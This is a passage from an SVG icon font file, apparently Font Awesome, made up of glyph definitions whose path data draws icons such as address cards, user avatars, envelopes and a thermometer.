d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
q2 -42 2 -64z" />
    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
